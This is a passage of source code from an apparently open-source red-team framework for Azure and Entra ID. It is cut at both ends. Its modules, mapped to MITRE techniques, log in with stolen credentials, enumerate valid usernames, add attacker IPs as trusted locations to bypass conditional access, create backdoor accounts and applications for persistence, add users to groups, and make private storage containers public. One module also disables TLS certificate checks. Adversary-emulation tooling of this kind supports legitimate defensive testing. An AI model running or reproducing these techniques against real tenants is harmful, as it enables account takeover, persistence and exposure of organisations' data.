AzureAccess.get_azure_auth_credential() 41 | # Retrieve subscription id 42 | current_sub_info = AzureAccess().get_current_subscription_info() 43 | subscription_id = current_sub_info.get("id") 44 | 45 | # Create client 46 | compute_client = ComputeManagementClient(credential, subscription_id) 47 | 48 | # List resources 49 | vmss_vm_list = compute_client.virtual_machine_scale_set_vms.list( 50 | resource_group_name = rg_name, 51 | virtual_machine_scale_set_name = vmss_name, 52 | ) 53 | 54 | vmss_vms = [vmss_vm_object for vmss_vm_object in vmss_vm_list] 55 | 56 | if vmss_vms: 57 | return ExecutionStatus.SUCCESS, { 58 | "message": f"Successfully enumerated {len(vmss_vms)} VM in {vmss_name} VMSS", 59 | "value": vmss_vms 60 | } 61 | else: 62 | return ExecutionStatus.SUCCESS, { 63 | "message": f"No VMs found in VMSS - {vmss_name}", 64 | "value": [] 65 | } 66 | except Exception as e: 67 | return ExecutionStatus.FAILURE, { 68 | "error": str(e), 69 | "message": "Failed to enumerate VMs in VMSS" 70 | } 71 | 72 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 73 | return { 74 | "rg_name": {"type": "str", "required": True, "default": None, "name": "Resource Group Name", "input_field_type" : "text"}, 75 | "vmss_name": {"type": "str", "required": True, "default": None, "name": "VMSS Name", "input_field_type" : "text"} 76 | } -------------------------------------------------------------------------------- /attack_techniques/azure/azure_enumerate_vmss.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.mgmt.compute import ComputeManagementClient 5 | from core.azure.azure_access import AzureAccess 6 | 7 | @TechniqueRegistry.register 8 | class AzureEnumerateVMSS(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1526", 13 | technique_name="Cloud Service Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Enumerate Virtual Machine Scale Set", "Enumerates virtual machine scale set (VMSS) in Azure", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | rg_name: str = kwargs["rg_name"] 24 | 25 | # Input Validation 26 | if rg_name in [None,""]: 27 | return ExecutionStatus.FAILURE, { 28 | "error": {"input_required" : "Resource Group name"}, 29 | "message": "Invalid Technique Input" 30 | } 31 | 32 | # Get credential 33 | credential = AzureAccess.get_azure_auth_credential() 34 | # Retrieve subscription id 35 | current_sub_info = AzureAccess().get_current_subscription_info() 36 | subscription_id = current_sub_info.get("id") 37 | 38 | # Create client 39 | compute_client = ComputeManagementClient(credential, subscription_id) 40 | 41 | # List resources 42 | vmss_list = compute_client.virtual_machine_scale_sets.list( 43 | resource_group_name = rg_name 44 | ) 45 | 46 | vmss = [vmss_object for vmss_object in vmss_list] 47 | 48 | if vmss: 49 | return ExecutionStatus.SUCCESS, { 50 | "message": f"Successfully enumerated {len(vmss)} Azure VMSS", 51 | "value": vmss 52 | } 53 | else: 54 | return ExecutionStatus.SUCCESS, { 55 | "message": f"No VMSS found in resource group - {rg_name}", 56 | "value": [] 57 | } 58 | except Exception as e: 59 | return ExecutionStatus.FAILURE, { 60 | "error": str(e), 61 | "message": "Failed to enumerate VMSS in resource group" 62 | } 63 | 64 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 65 | return { 66 | "rg_name": {"type": "str", "required": True, "default": None, "name": "Resource Group Name", "input_field_type" : "text"} 67 | } -------------------------------------------------------------------------------- /attack_techniques/azure/azure_establish_access_as_user.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique, AzureTRMTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.azure.azure_access import AzureAccess 5 | import subprocess 6 | import json 7 | 8 | @TechniqueRegistry.register 9 | class AzureEstablishAccessAsUser(BaseTechnique): 10 | def __init__(self): 11 | mitre_techniques = [ 12 | MitreTechnique( 13 | technique_id="T1078.004", 14 | technique_name="Valid Accounts", 15 | tactics=["Defense Evasion", "Persistence", "Privilege Escalation", "Initial Access"], 16 | sub_technique_name="Cloud Accounts" 17 | ) 18 | ] 19 | azure_trm_technique = [ 20 | AzureTRMTechnique( 21 | technique_id="AZT201.1", 22 | technique_name="Valid Credentials", 23 | tactics=["Initial Access"], 24 | sub_technique_name="User Account" 25 | ) 26 | ] 27 | super().__init__("Establish Access As User", "Authenticates to an Azure tenant using username and password credentials. The technique attempts programmatic authentication via the Azure CLI and falls back to interactive browser login if initial authentication fails. This supports scenarios where additional authentication prompts may be required. Successfully authenticated sessions return information about accessible subscriptions including subscription IDs, account details, and tenant associations. Commonly used during initial access after credential theft or phishing attacks.", mitre_techniques, azure_trm_technique) 28 | 29 | 30 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 31 | self.validate_parameters(kwargs) 32 | try: 33 | # input validation 34 | username: str = kwargs['username'] 35 | password: str = kwargs['password'] 36 | 37 | if username in ["", None] or password in ["", None]: 38 | return ExecutionStatus.FAILURE, { 39 | "error": {"Error" : "Invalid Technique Input"}, 40 | "message": {"Error" : "Invalid Technique Input"} 41 | } 42 | 43 | # get az full execution path 44 | az_command = AzureAccess().az_command 45 | raw_response = subprocess.run([az_command, "login", "-u", username, "-p", password], capture_output=True) 46 | 47 | # if login attempt fails, launch interactive login 48 | if raw_response.returncode == 1: 49 | raw_response = subprocess.run([az_command, "login"], capture_output=True) 50 | 51 | if raw_response.returncode == 0: 52 | output = raw_response.stdout 53 | struc_output = json.loads(output.decode('utf-8')) 54 | 55 | try: 56 | output = {} 57 | for subscription in struc_output: 58 | output[subscription.get("id", "N/A")] = { 59 | "subscription_name" : subscription.get("name", "N/A"), 60 | "subscription_id" : subscription.get("id", "N/A"), 61 | "home_tenant_id" : subscription.get("homeTenantId", "N/A"), 62 | "state" : subscription.get("state", "N/A"), 63 | "identity" : subscription.get("user", "N/A").get("name","N/A"), 64 | "identity_type" : subscription.get("user", "N/A").get("type","N/A"), 65 | } 66 | return ExecutionStatus.SUCCESS, { 67 | "message": f"Successfully established access to target Azure tenant", 68 | "value": output 69 | } 70 | except: 71 | return ExecutionStatus.PARTIAL_SUCCESS, { 72 | "message": "Successfully established access to target Azure tenant", 73 | "value": struc_output 74 | } 75 | else: 76 | return ExecutionStatus.FAILURE, { 77 | "error": str(raw_response.returncode), 78 | "message": "Failed to establish access to Azure tenant" 79 | } 80 | except Exception as e: 81 | return ExecutionStatus.FAILURE, { 82 | "error": str(e), 83 | "message": "Failed to establish access to Azure tenant" 84 | } 85 | 86 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 87 | return { 88 | "username": {"type": "str", "required": True, "default": None, "name": "Username", "input_field_type" : "text"}, 89 | "password": {"type": "str", "required": True, "default": None, "name": "Password", "input_field_type" : "password"} 90 | } -------------------------------------------------------------------------------- /attack_techniques/azure/azure_expose_storage_account_container_public.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.storage.blob import BlobServiceClient, PublicAccess 5 | from core.azure.azure_access import AzureAccess 6 | 7 | @TechniqueRegistry.register 8 | class AzureExposeStorageAccountContainerPublic(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1562.007", 13 | technique_name="Impair Defenses", 14 | tactics=["Defense Evasion"], 15 | sub_technique_name="Disable or Modify Cloud Firewall" 16 | ) 17 | ] 18 | super().__init__("Expose Storage Account Container Public", "Modifies access controls on Azure Storage Account containers to enable anonymous public access. The technique can set container access level to either 'blob' (allowing public read access to blob data) or 'container' (allowing public read and list access to entire containers). This intentional exposure of private data makes container contents publicly accessible over the internet without authentication. This technique is particularly impactful as storage containers often hold sensitive business data, backups, and application files.", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | storage_account_name: str = kwargs["storage_account_name"] 24 | container_name: str = kwargs["container_name"] 25 | access_level: str = kwargs.get("access_level","Blob") 26 | 27 | # Input Validation 28 | if storage_account_name in ["", None]: 29 | return ExecutionStatus.FAILURE, { 30 | "error": "Invalid Technique Input", 31 | "message": {"input_required": "Storage Account Name"} 32 | } 33 | 34 | if container_name in ["", None]: 35 | return ExecutionStatus.FAILURE, { 36 | "error": "Invalid Technique Input", 37 | "message": {"input_required": "Container Name"} 38 | } 39 | 40 | if access_level in ["",None]: 41 | access_level = "Blob" # Set default 42 | 43 | # Acces level (Blob or Container) 44 | if access_level.upper() not in ["BLOB", "CONTAINER"]: 45 | return ExecutionStatus.FAILURE, { 46 | "error": "Invalid Technique Input", 47 | "message": {"invalid_value": "Access Level"} 48 | } 49 | 50 | # Get credential 51 | credential = AzureAccess.get_azure_auth_credential() 52 | 53 | # Create blob service client 54 | account_url = f"https://{storage_account_name}.blob.core.windows.net" 55 | blob_service_client = BlobServiceClient(account_url = account_url, credential=credential, connection_verify=False) 56 | 57 | # Create container client 58 | container_client = blob_service_client.get_container_client(container_name) 59 | 60 | # Modify container to enable public access 61 | if access_level.upper() == "BLOB": 62 | container_client.set_container_access_policy(signed_identifiers={}, public_access=PublicAccess.BLOB) 63 | else: 64 | container_client.set_container_access_policy(signed_identifiers={}, public_access=PublicAccess.CONTAINER) 65 | 66 | return ExecutionStatus.SUCCESS, { 67 | "message": f"Successfully set container {container_name} access level to - {access_level.upper()}", 68 | "value": { 69 | "storage_account_name" : storage_account_name, 70 | "container_name" : container_name, 71 | "access_level" : access_level.upper(), 72 | "public_access" : True 73 | } 74 | } 75 | except Exception as e: 76 | return ExecutionStatus.FAILURE, { 77 | "error": str(e), 78 | "message": f"Failed to set container {container_name} access level to - {access_level.upper()}" 79 | } 80 | 81 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 82 | return { 83 | "storage_account_name": {"type": "str", "required": True, "default": None, "name": "Storage Account Name", "input_field_type" : "text"}, 84 | "container_name": {"type": "str", "required": True, "default": None, "name": "Container Name", "input_field_type" : "text"}, 85 | "access_level": {"type": "str", "required": False, "default": "Blob", "name": "Access Level", "input_field_type" : "text"}, 86 | } -------------------------------------------------------------------------------- /attack_techniques/entra_id/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/attack_techniques/entra_id/__init__.py -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_add_trusted_ip_config.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique, AzureTRMTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraAddTrustedIPConfig(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1136.003", 12 | technique_name="Domain Policy Modification", 13 | tactics=["Defense Evasion", "Privilege Escalation"], 14 | sub_technique_name="Cloud Account" 15 | ) 16 | ] 17 | 18 | super().__init__("Add Trusted IP Configuration", "Add trusted IP in named locations to bypass associated conditional access policy restrictions", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | 23 | try: 24 | ip_addr: str = kwargs.get('ip_addr', None) 25 | trusted_policy_name: str = kwargs.get('trusted_policy_name', None) 26 | 27 | if trusted_policy_name in [None, ""] or ip_addr in [None, ""]: 28 | return ExecutionStatus.FAILURE, { 29 | "error": "Invalid Technique Input", 30 | "message": "Invalid Technique Input" 31 | } 32 | 33 | endpoint_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" 34 | 35 | # Create request payload 36 | data = { 37 | "@odata.type": "#microsoft.graph.ipNamedLocation", 38 | "displayName": trusted_policy_name, 39 | "isTrusted": 'true', 40 | "ipRanges": [ 41 | { 42 | "@odata.type": "#microsoft.graph.iPv4CidrRange", 43 | "cidrAddress": ip_addr 44 | } 45 | ] 46 | } 47 | 48 | raw_response = GraphRequest().post(url = endpoint_url, data = data) 49 | 50 | # Request successfull 51 | if 200 <= raw_response.status_code < 300: 52 | return ExecutionStatus.SUCCESS, { 53 | "message": f"Successfully added IP as trusted named location", 54 | "value": { 55 | 'policy_name' : raw_response.json().get('displayName', 'N/A'), 56 | 'policy_id' : raw_response.json().get('id', 'N/A'), 57 | 'ip' : ip_addr, 58 | 'is_trusted' : raw_response.json().get('isTrusted', 'N/A') 59 | } 60 | } 61 | 62 | # Request failed 63 | else: 64 | return ExecutionStatus.FAILURE, { 65 | "error": {"error_code" : raw_response.json().get('error').get('code', 'N/A'), 66 | "error_message" :raw_response.json().get('error').get('message', 'N/A') 67 | }, 68 | "message": "Failed to add IP as trusted named location" 69 | } 70 | 71 | except Exception as e: 72 | return ExecutionStatus.FAILURE, { 73 | "error": str(e), 74 | "message": "Failed to add IP as trusted named location" 75 | } 76 | 77 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 78 | return { 79 | "ip_addr": {"type": "str", "required": True, "default":None, "name": "IP/CIDR", "input_field_type" : "text"}, 80 | "trusted_policy_name": {"type": "str", "required": True, "default":None, "name": "New Policy Name", "input_field_type" : "text"} 81 | } -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_add_user_to_group.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraAddUserToGroup(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1098.003", 12 | technique_name="Account Manipulation", 13 | tactics=["Persistence", "Privilege Escalation"], 14 | sub_technique_name="Additional Cloud Roles" 15 | ) 16 | ] 17 | super().__init__("Add User To Group", "Adds user to a target group in Entra ID", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | user_id: str = kwargs.get('user_id', None) 24 | group_id: str = kwargs.get('group_id', None) 25 | access_token: str = kwargs.get('access_token', None) 26 | 27 | if user_id in [None, ""]: 28 | return ExecutionStatus.FAILURE, { 29 | "error": {"Error" : "Invalid Technique Input - user_id"}, 30 | "message": {"Error" : "Invalid Technique Input"} 31 | } 32 | 33 | if group_id in [None, ""]: 34 | return ExecutionStatus.FAILURE, { 35 | "error": {"Error" : "Invalid Technique Input - user_id"}, 36 | "message": {"Error" : "Invalid Technique Input"} 37 | } 38 | 39 | # recon applications 40 | endpoint_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/$ref" 41 | data = { 42 | "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{user_id}" 43 | } 44 | 45 | if access_token: 46 | raw_response = GraphRequest().post(url = endpoint_url, data = data, access_token= access_token) 47 | else: 48 | raw_response = GraphRequest().post(url = endpoint_url, data = data) 49 | 50 | 51 | # add user to group operation successfull 52 | if 200 <= raw_response.status_code < 300: 53 | return ExecutionStatus.SUCCESS, { 54 | "message": f"Successfully added user to group", 55 | "value": { 56 | 'Group' : group_id, 57 | 'User' : user_id 58 | } 59 | } 60 | else: 61 | return ExecutionStatus.FAILURE, { 62 | "error": raw_response.json().get('error').get('message', 'N/A'), 63 | "message": "Failed to add user to group" 64 | } 65 | except Exception as e: 66 | return ExecutionStatus.FAILURE, { 67 | "error": str(e), 68 | "message": "Failed to add user to group" 69 | } 70 | 71 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 72 | return { 73 | "user_id": {"type": "str", "required": True, "default":None, "name": "User ID", "input_field_type" : "text"}, 74 | "group_id": {"type": "str", "required": True, "default":None, "name": "Group ID", "input_field_type" : "text"}, 75 | "access_token": {"type": "str", "required": False, "default":None, "name": "Access Token", "input_field_type" : "text"} 76 | } -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_check_user_validity.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import requests 5 | import json 6 | import base64 7 | 8 | @TechniqueRegistry.register 9 | class EntraCheckUserValidity(BaseTechnique): 10 | def __init__(self): 11 | mitre_techniques = [ 12 | MitreTechnique( 13 | technique_id="T1087.004", 14 | technique_name="Account Discovery", 15 | tactics=["Discovery"], 16 | sub_technique_name="Cloud Account" 17 | ) 18 | ] 19 | super().__init__("Check User Validity", "Validates if the user/users exist in a target ", mitre_techniques) 20 | 21 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 22 | self.validate_parameters(kwargs) 23 | 24 | try: 25 | username: str = kwargs.get('username', None) 26 | username_file: str = kwargs.get('username_file', None) 27 | 28 | if username in [None,""] and username_file == None: 29 | return ExecutionStatus.FAILURE, { 30 | "error": {"Error" : "Invalid Technique Input"}, 31 | "message": {"Error" : "Invalid Technique Input"} 32 | } 33 | 34 | user_list = [] 35 | 36 | # if file provided -> extract usernames from username text file 37 | if username_file: 38 | content_string = username_file.split(',')[-1] 39 | decoded = base64.b64decode(content_string) 40 | try: 41 | text = decoded.decode('utf-8') 42 | user_list = text.split('\n') 43 | # remove duplicate usernames 44 | user_list = list(set(user_list)) 45 | except Exception as e: 46 | # file decoding failed 47 | return False, {"Error" : e}, None 48 | else: 49 | user_list.append(username) 50 | 51 | 52 | # GetCredentialType endpoint 53 | endpoint_url = "https://login.microsoftonline.com/common/GetCredentialType" 54 | 55 | # create request header 56 | headers = { 57 | "Content-Type": "application/json" 58 | } 59 | 60 | valid_users = [] 61 | invalid_users =[] 62 | 63 | for user_name in user_list: 64 | # create request body 65 | request_body = { 66 | "username": user_name, 67 | "isOtherIdpSupported": True 68 | } 69 | # send request to endpoint 70 | raw_response = requests.post(endpoint_url, data=json.dumps(request_body), headers=headers) 71 | 72 | # parse data if request is successful 73 | if raw_response.status_code == 200: 74 | target_info = raw_response.json() 75 | 76 | if target_info.get("IfExistsResult") == 0: 77 | valid_users.append({ 78 | 'username' : user_name, 79 | 'user_valid' : True 80 | }) 81 | else: 82 | invalid_users.append({ 83 | 'username' : user_name, 84 | 'user_valid' : False 85 | }) 86 | else: 87 | # if request fails, return error code and message 88 | return ExecutionStatus.FAILURE, { 89 | "error": raw_response.status_code, 90 | "message": raw_response.content 91 | } 92 | 93 | return ExecutionStatus.SUCCESS, { 94 | "message": f"Successfully validated users. {len(valid_users)} user found", 95 | "value": { 96 | 'valid_users' : valid_users, 97 | 'invalid_users' : invalid_users 98 | } 99 | } 100 | except Exception as e: 101 | return ExecutionStatus.FAILURE, { 102 | "error": str(e), 103 | "message": "Failed to validate users in list" 104 | } 105 | 106 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 107 | return { 108 | "username": {"type": "str", "required": True, "default":None, "name": "Username", "input_field_type" : "text"}, 109 | "username_file": {"type": "str", "required": True, "default":None, "name": "Username List File", "input_field_type" : "upload"}, 110 | } -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_create_backdoor_account.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraCreateBackdoorAccount(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1136.003", 12 | technique_name="Create Account", 13 | tactics=["Persistence"], 14 | sub_technique_name="Cloud Account" 15 | ) 16 | ] 17 | super().__init__("Create Backdoor Account", "Create a new user account in Entra ID to mantain persistence", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | backdoor_display_name: str = kwargs.get('backdoor_display_name', None) 24 | backdoor_user_principal_name: str = kwargs.get('backdoor_user_principal_name', None) 25 | backdoor_password: str = kwargs.get('backdoor_password', None) 26 | 27 | if backdoor_display_name in [None, ""]: 28 | return ExecutionStatus.FAILURE, { 29 | "error": "Invalid Technique Input", 30 | "message": "Invalid Technique Input" 31 | } 32 | if backdoor_user_principal_name in [None, ""]: 33 | return ExecutionStatus.FAILURE, { 34 | "error": "Invalid Technique Input", 35 | "message": "Invalid Technique Input" 36 | } 37 | if backdoor_password in [None, ""]: 38 | return ExecutionStatus.FAILURE, { 39 | "error": "Invalid Technique Input", 40 | "message": "Invalid Technique Input" 41 | } 42 | 43 | endpoint_url = "https://graph.microsoft.com/v1.0/users" 44 | 45 | # Generate user details 46 | mail_nickname = backdoor_display_name.replace(" ","") 47 | 48 | # Create request payload 49 | data = {"accountEnabled": 'true',"displayName": backdoor_display_name,"mailNickname": mail_nickname,"userPrincipalName": backdoor_user_principal_name,"passwordProfile" : {"forceChangePasswordNextSignIn": 'false',"password": backdoor_password}} 50 | 51 | 52 | raw_response = GraphRequest().post(url = endpoint_url, data = data) 53 | 54 | # Create account successfull 55 | if 200 <= raw_response.status_code < 300: 56 | return ExecutionStatus.SUCCESS, { 57 | "message": f"Successfully created backdoor account {backdoor_user_principal_name}", 58 | "value": { 59 | "backdoor_upn" : backdoor_user_principal_name, 60 | "password" : backdoor_password, 61 | "backdoor_display_name" : backdoor_display_name, 62 | "backdoor_enabled" : True 63 | } 64 | } 65 | 66 | # Create account failed 67 | else: 68 | return ExecutionStatus.FAILURE, { 69 | "error": {"error_code" : raw_response.json().get('error').get('code', 'N/A'), 70 | "error_message" :raw_response.json().get('error').get('message', 'N/A') 71 | }, 72 | "message": "Failed to create backdoor account in tenant" 73 | } 74 | 75 | except Exception as e: 76 | return ExecutionStatus.FAILURE, { 77 | "error": str(e), 78 | "message": "Failed to create backdoor account in tenant" 79 | } 80 | 81 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 82 | return { 83 | "backdoor_display_name": {"type": "str", "required": True, "default":None, "name": "Backdoor Display Name", "input_field_type" : "text"}, 84 | "backdoor_user_principal_name": {"type": "str", "required": True, "default":None, "name": "Backdoor UPN", "input_field_type" : "email"}, 85 | "backdoor_password": {"type": "str", "required": True, "default":None, "name": "Backdoor Password", "input_field_type" : "text"} 86 | } -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_create_new_app.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraCreateNewApp(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1098.001", 12 | technique_name="Account Manipulation", 13 | tactics=["Persistence", "Privilege Escalation"], 14 | sub_technique_name="Additional Cloud Credentials" 15 | ) 16 | ] 17 | super().__init__("Create New Application", "Create a new application in Entra ID which can allow persistence or privilege escalation. Optionally, choose to add service principal for the newly created app.", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | new_app_name: str = kwargs.get('new_app_name', None) 24 | create_service_principal: bool = kwargs.get('create_service_principal', True) 25 | 26 | if new_app_name in [None, ""]: 27 | return ExecutionStatus.FAILURE, { 28 | "error": "Invalid Technique Input", 29 | "message": "Invalid Technique Input" 30 | } 31 | 32 | if create_service_principal in [None, ""]: 33 | create_service_principal = True # Set default to true 34 | 35 | endpoint_url = "https://graph.microsoft.com/v1.0/applications" 36 | 37 | # Provide new application display name 38 | data = { 39 | "displayName": new_app_name 40 | } 41 | 42 | raw_response = GraphRequest().post(url = endpoint_url, data = data) 43 | 44 | # Create app successfull 45 | if 200 <= raw_response.status_code < 300: 46 | output = { 47 | "app_display_name" : new_app_name, 48 | "app_ip" : raw_response.json()['appId'], 49 | "app_obj_id" : raw_response.json()['id'], 50 | "created" : True 51 | } 52 | 53 | if create_service_principal: 54 | service_principal_url = f"https://graph.microsoft.com/v1.0/servicePrincipals" 55 | service_principal_payload = { 56 | "appId": raw_response.json()['appId'] 57 | } 58 | 59 | # Attempt to create app SP 60 | sp_response = GraphRequest().post(url = service_principal_url, data = service_principal_payload) 61 | 62 | if 200 <= sp_response.status_code < 300: 63 | # SP creation successful 64 | sp_id = sp_response.json()['id'] 65 | output["app_sp_created"] = True 66 | output["sp_id"] = sp_id 67 | 68 | return ExecutionStatus.SUCCESS, { 69 | "message": f"Successfully created new application {new_app_name} in tenant", 70 | "value": output 71 | } 72 | 73 | # Create app failed 74 | else: 75 | return ExecutionStatus.FAILURE, { 76 | "error": {"error_code" : raw_response.json().get('error').get('code', 'N/A'), 77 | "error_message" :raw_response.json().get('error').get('message', 'N/A') 78 | }, 79 | "message": "Failed to create new app in tenant" 80 | } 81 | 82 | except Exception as e: 83 | return ExecutionStatus.FAILURE, { 84 | "error": str(e), 85 | "message": "Failed to create new app in tenant" 86 | } 87 | 88 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 89 | return { 90 | "new_app_name": {"type": "str", "required": True, "default":None, "name": "New App Name", "input_field_type" : "text"}, 91 | "create_service_principal": {"type": "bool", "required": False, "default":True, "name": "Create Service Principal?", "input_field_type" : "bool"}, 92 | } -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_enumerate_app_permissions.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraEnumerateAppPermissions(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1069.003", 12 | technique_name="Permission Groups Discovery", 13 | tactics=["Discovery"], 14 | sub_technique_name="Cloud Groups" 15 | ) 16 | ] 17 | super().__init__("Enumerate Application Permissions", "Enumerates Microsoft Graph application permissions available in tenant", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | app_id = "00000003-0000-0000-c000-000000000000" # Microsoft Graph 24 | 25 | endpoint_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '{app_id}'" 26 | 27 | raw_response = GraphRequest().get(url = endpoint_url) 28 | 29 | if 'error' in raw_response: 30 | return ExecutionStatus.FAILURE, { 31 | "error": {"error_code" :raw_response.get('error').get('code'), 32 | "error_detail" : raw_response.get('error').get('message') 33 | }, 34 | "message": "Failed to enumerate application permissions" 35 | } 36 | 37 | output = [] 38 | if raw_response: 39 | # Get Microsoft Graph SP permissions 40 | output = [role_info for role_info in raw_response[0]['appRoles']] 41 | 42 | return ExecutionStatus.SUCCESS, { 43 | "message": f"Successfully enumerated {len(output)} microsoft graph permissions", 44 | "value": output 45 | } 46 | else: 47 | return ExecutionStatus.SUCCESS, { 48 | "message": f"No permissions found", 49 | "value": output 50 | } 51 | 52 | except Exception as e: 53 | return ExecutionStatus.FAILURE, { 54 | "error": str(e), 55 | "message": "Failed to enumerate application permissions" 56 | } 57 | 58 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 59 | return {} -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_enumerate_apps.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraEnumerateApps(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1087", 12 | technique_name="Account Discovery", 13 | tactics=["Discovery"], 14 | sub_technique_name=None 15 | ) 16 | ] 17 | super().__init__("Enumerate Apps", "Enumerates application deployed in Microsoft Entra", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | permission_id: str = kwargs.get('permission_id', None) 24 | access_token: str = kwargs.get('access_token', None) 25 | 26 | endpoint_url = "https://graph.microsoft.com/v1.0/applications/" 27 | 28 | # recon applications 29 | if access_token: 30 | app_recon = GraphRequest().get(url = endpoint_url, access_token=access_token) 31 | else: 32 | app_recon = GraphRequest().get(url = endpoint_url) 33 | 34 | if 'error' in app_recon: 35 | return ExecutionStatus.FAILURE, { 36 | "error": str(app_recon.get('error', "")), 37 | "message": "Failed to recon applications in tenant" 38 | } 39 | 40 | apps_enumerated = [] 41 | 42 | for app in app_recon: 43 | if permission_id: 44 | # enumerate through apps to find app with the associated permission 45 | required_resource_access = app.get('requiredResourceAccess', []) 46 | for resource in required_resource_access: 47 | resource_accesses = resource.get('resourceAccess', []) 48 | for access in resource_accesses: 49 | if access.get('id') == permission_id: 50 | apps_enumerated.append({ 51 | 'display_name' : app.get('displayName', 'N/A'), 52 | 'id' : app.get('id', 'N/A'), 53 | 'app_id' : 